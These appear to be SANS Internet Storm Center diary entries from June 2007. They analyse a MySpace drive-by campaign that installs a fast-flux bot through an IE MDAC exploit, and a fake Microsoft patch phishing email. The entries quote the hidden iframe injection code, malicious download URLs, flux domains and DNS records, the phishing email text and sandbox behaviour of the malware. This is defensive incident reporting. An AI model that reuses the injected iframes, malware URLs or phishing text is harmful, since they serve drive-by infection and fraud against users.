Last Updated: 2007-06-29 23:14:38 UTC
by Johannes Ullrich (Version: 3)
UPDATE: Skip down to Section 2007-06-28
CAREFUL! This diary contains links to malicious code!
A number of MySpace profiles include drive by exploits. The exploits will install a version of "flux bot", a very popular proxy network bot.
FluxBot (aka "Fast-Flux") is typically used to hide phishing and malware delivery sites behind complex ever changing networks of proxy servers. A system infected with FluxBot will be used a one of these proxies.
Infected MySpace "Friend IDs": 39184135, 171598920, 22057010
A typical excerpt from an infected profile (obfuscated to protect the innocent):
href="http://home. myspace. com. index. cfm. fuseaction.user.MyToken.
<iframe src="http://fafb 4c4c .com/header_03.gif" width=1 height=1></iframe>
The domain used here is of course again served via flux. header_03.gif
<iframe src="http://fafb4c4c .com/routine.php" width=1 height=1></iframe>
Are we there yet? yup. just one more (patched) Internet Explorer exploit to go. The
exploit will install the .exe. For example:
(Warning: live malware URLs visit at your own risk)
http://fafb4c4c .com/session.exe (this is just the downloader stub)
The downloader will now retrieve the actual bot. We have seen among others these
Settings for the bot can be found here:
once its all set and done, you will be a proud new member of the flux net and soon you
will find your system to participate in phishing and similar endevours.
Couple IPs that may be worthwhile to block:
AS13767 | 18.104.22.168
AS15083 | 22.214.171.124
AS25761 | 126.96.36.199
AS25761 | 188.8.131.52
As you can imagine, its a lot of messy work to decode all of this. I am just the messenger. This is work done by members of our great handler team.
MySpace Phish/Drive-by attack vector propagating Fast Flux network growth
Two primary infection vectors have been observed providing us with unique insight into the life cycle involved in propagating a fast flux service network. The attack vectors include:
- Compromised MySpace Member profiles redirecting to phishing sites (this has been discussed here)
- SWF Flash image malicious redirection to Phishing and drive-by browser exploit attempt.
All Flash redirects were observed redirecting browsers to http://www.e44 7aa2.com (****CAREFUL****)
( e447aa2.com is a domain currently serviced by this flux network with wildcard DNS resolution )
(The above URL is only a single example of potentially infinite permutations)
By following the above /da3e/index.php link results in a credible looking MySpace landing page (serviced in flux) with the most interesting footer element displayed below:
The decoded result of /routine.php is an attempt to exploit vulnerable IE client browsers using the Internet Explorer (MDAC) Remote Code Execution Exploit (MS06-014) for which Microsoft released a patch in May 2006.
The successful compromise of a windows host via this exploit content results in the download of a malicious downloader stub executable (session.exe) that is then responsible for attempting to download additional malicious components necessary for integration of new compromised hosts into a fast flux service network.
The malware stub (session.exe) above attempts to download and execute the following components:
Now back to these Evil Flash File Redirects:
What follows is just a representative sampling of URLs for imageshack.us site hosted flash files which perform one simple action, an action-script based browser redirect to a fast flux service network hosted combination phishing and drive by exploit that leverages the Internet Explorer (MDAC) Remote Code Execution Exploit (MS06-014).
All files are exactly the same based on same md5 and sha1 hash for all files:
Imageshack HTTP Server maintained mtime suggest a deployment time of 2007-06-05 -0700
Decompiling a flash component results in the discovery of that terrible redirect:
Where in the world are Flash files like the above being hosted?
Where in the world are Flash files like the above being hosted?
REMOVED >100 URLS ( You get the idea )
Several Hundred MySpace profiles were discovered injected with links to phishing, and it is easy to imagine that many more were affected.
home.myspace.com.index.cfm.fusea ction.user.mytoken.0c38outb.h5v 17lt.com
home.myspace.com.index.cfm.fusea ction.user.mytoken.0en0r8xd.1155 34a.com
home.myspace.com.index.cfm.fusea ction.user.mytoken.0l3ttn77.oqr hldv.com
HUNDREDS OF URLS REMOVED
home.myspace.com.index.cfm.fusea ction.user.mytoken.1wr4sm8c.lw h gvcq.com
home.myspace.com.index.cfm.fusea ction.user.mytoken.257k51r.uhq0 1o6.com
home.myspace.com.index.cfm.fusea ction.user.mytoken.2dd2l3w6.gcp 8tr9.com
home.myspace.com.index.cfm.fusea ction.user.mytoken.2dp2cvwv.at6 pyss.com
home.myspace.com.index.cfm.fusea ction.user.mytoken.304165k.xt3c gyq.com
home.myspace.com.index.cfm.fusea ction.user.mytoken.3gcri4jk.jk33v 96.com
home.myspace.com.index.cfm.fusea ction.user.mytoken.3kuto9a4.de0 82ak.com
Flux! It's SO easy to miss!
This write up is not geared to address the more complex overview of what a fast flux service network is (but is forthcoming). Essentially all URLs involved in this fast flux service network are served by compromised hosts redirecting their HTTP and DNS traffic to another upstream Mothership host.
;; ANSWER SECTION:
at6pyss.com. 179 IN A 184.108.40.206 [h220.127.116.11.cable.htsp.cablelynx.com]
at6pyss.com. 179 IN A 18.104.22.168 [c-67-161-240-98.hsd1.ut.comcast.net]
at6pyss.com. 179 IN A 22.214.171.124 [c-67-190-48-71.hsd1.co.comcast.net]
at6pyss.com. 179 IN A 126.96.36.199 [adsl-70-241-113-51.dsl.hstntx.swbell.net]
at6pyss.com. 179 IN A 188.8.131.52 [ppp-70-250-117-30.dsl.hstntx.swbell.net]
at6pyss.com. 179 IN A 184.108.40.206 [ppp-71-140-90-107.dsl.frs2ca.pacbell.net]
at6pyss.com. 179 IN A 220.127.116.11 [adsl-71-146-88-77.dsl.pltn13.sbcglobal.net]
at6pyss.com. 179 IN A 18.104.22.168 [adsl-71-146-144-141.dsl.pltn13.sbcglobal.net]
at6pyss.com. 179 IN A 22.214.171.124 [adsl-75-31-235-68.dsl.chcgil.sbcglobal.net]
at6pyss.com. 179 IN A 126.96.36.199 [cpe-76-80-255-40.socal.res.rr.com]
Check back on the above DNS results, the same goes for any domains referenced above.
The concept of Flux may unfold before very your eyes.
at6pyss.com. 172799 IN NS ns1.welcometothechallenge.hk.
at6pyss.com. 172799 IN NS ns1.kanjerida.hk.
at6pyss.com. 172799 IN NS ns1.phudisarida.hk.
at6pyss.com. 172799 IN NS ns1.myheroisyourslove.hk.
Last Updated: 2007-06-28 20:03:11 UTC
by donald smith (Version: 4)
Several of our readers reported an email that lead to a fake Microsoft patch being spammed on the net today. The email had their full names and in one case the company they worked for included in the body of the email. So far I have seen 4 different urls. We are working on getting the systems hosting the malware cleaned or shutdown. We have submitted the malware itself to most of the AV vendors so detection should improve but currently it is not detected.
Thanks go out to PatrickC, TroyP, NathanM, BruceD and CalebC.
You can see in the body of the email below that the spelling is bad and the license key is not in the right format for XP nor Outlook.
One of the submitters “PatrickC” provided the following email for a fake Microsoft patch and malware site.
“The following email I received is new to me. The URL points to hxxp://fake.microsoft.site./
==Sanitized email header==============
X-Envelope-To: <patrick >
<SNIP to protect Patrick >
Date: Tue, 26 Jun 2007 14:51:39 +0200
Subject: Microsoft Security Bulletin MS07-0065 - Critical Update
From: "Microsoft Corp." <email@example.com>
Content-Type: text/html; charset=iso-8859-1
X-Antivirus: avast! (VPS 000752-0, 2007-06-25), Inbound message
Microsoft.com Home |
| Windows Family | Windows Marketplace | Office Family | Microsoft Update
You are receiving this message because you are using Genuine Microsoft Software and your e-mail address has been subscribed to the Microsoft Windows Update mailing list.
A new 0-day vulnerability has appeared in the wild and was reported for the first time Monday, June 18th. The vulnerability affects machines running MICROSOFT OUTLOOK and allows an attacker to take full control of the vulnerable computer if the exploitation process is succesfull.
Since then, more than 100,000 machines have been reported as exploited and used to promote spammy pharmacy products such as viagra and cialis.
An update has been released to fix this issue and can be downloaded from the following link :
File Name: MSOUTRC2007Update-KB863892.exe
Date Published: 06/25/2007
Download Size: 20 Kb
Estimated Download Time: 1 sec
It's urgent to download and install the update as soon as possible in order to decrease the number of succesfull attacks that occure each day. The update is only available for Genuine Versions of Microsoft Outllok.
1. Click the link above to start the download
2. Save the update in your WINDOWS directory and run it from there.If you want to start the installation immediately click Run in the download box, after you click the link.
3. After you run it, the update will download the security packages required to patch Microsoft Outlook.The entire process will take around 10-15 minutes, and you'll receive a confirmation message once the update process is completed.
Your Microsoft Windows Licence Information is :
REG ISTERED TO : Patrick
Licence KEY : XXXXX-XXXXX-XXXXX-XXXXX-XXXXX
From Norman Sandbox:
MSOUTRC2007Update-KB863892.exe : INFECTED with W32/Malware (Signature: NO_VIRUS)
[ DetectionInfo ]
* Sandbox name: W32/Malware
* Signature name: NO_VIRUS
[ General information ]
* Drops files in %WINSYS% folder.
* File length: 20480 bytes.
* MD5 hash: c7a8bde380043b5d8d7229e82db1c2fc.
[ Changes to filesystem ]
* Creates file C:\WINDOWS\SYSTEM32\sdoctor.exe.
* Creates file C:\france.html.
* Deletes file c:\france.html.
[ Changes to registry ]
* Creates value "SpywareDoctor"="C:\WINDOWS\SYSTEM32\sdoctor.exe" in key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run".
[ Process/window information ]
* Will automatically restart after boot (I'll be back...).
* Attemps to NULL C:\COMMAND.COM /c
* Modifies other process memory.
* Creates a remote thread.
[ Signature Scanning ]
* C:\WINDOWS\SYSTEM32\sdoctor.exe (20480 bytes) : no signature detection.
We notified one of the support teams at a hosting provider that a virus was found on one of their customers systems.
Their auto responder responded within a minute.
A support person removed the malware and responded within 30 minutes.
When I tried to verify that I found the malware was still there or back.
When I notified the hosting provider that the malware was back the support person analysised logs, determined it was being uploaded via ftp and immediately disabled the ftp account involved.
One of our readers provided this detection list.
Command AV W32/Warezov.gen3!W32DL
Dr Web Trojan.DownLoader.24763
McAfee Generic Downloader.ak trojan
Norman W32/Malware (Sandbox)
Panda Suspicious file
Rising AV --
Spybot S&D Smitfraud-C.,,Installer
Symantec -- (BETA: Downloader)
Trend Micro -- (BETA: TROJ_AGENT.VII)
Several users have reported that this is only being sent to IT accounts and mostly highlevel IT accounts.
There is a new version of the binary.
MD5 = 0b4a130e2f124e780947fc4a36e0a556
They changed the name of the binary and registry entries.
Last Updated: 2007-06-26 19:25:09 UTC
by Scott Fendley (Version: 1)
On June 26th 2007, Microsoft re-released the MS07-022 update for Windows 2000 SP4. This update addresses some problems related to the NEC 98 hardware. For more information related to the issues, please see http://support.microsoft.com/kb/931784/.
Last Updated: 2007-06-26 01:28:58 UTC
by Johannes Ullrich (Version: 1)
Today, Robert reported that he is seeing a higher then normal spam volume. We do get notes like this rather regularly. Usually, its just a matter of "your turn coming up" in the global spam game. Here a few URLs I use to check on the global spam volume:
Last Updated: 2007-06-26 01:16:20 UTC
by Johannes Ullrich (Version: 1)
Nick submitted a nice piece of malware we are currently looking at. The malware itself includes a nice rootkit that doesn't appear to be detected with common rootkit tools. However, in my opinion, the delivery method was noteworthy. It used a spoofed internal sender. This made me wonder what's the best way to block e-mail that comes from outside mail servers, but claims an internal "From:" header.
My first guess would be that this is a great reason to enable SPF. Will this work? I am assuming that it is a standard policy to require employees to use a VPN connection or "something like that" to send e-mail using an internal mail server.
Any other ideas?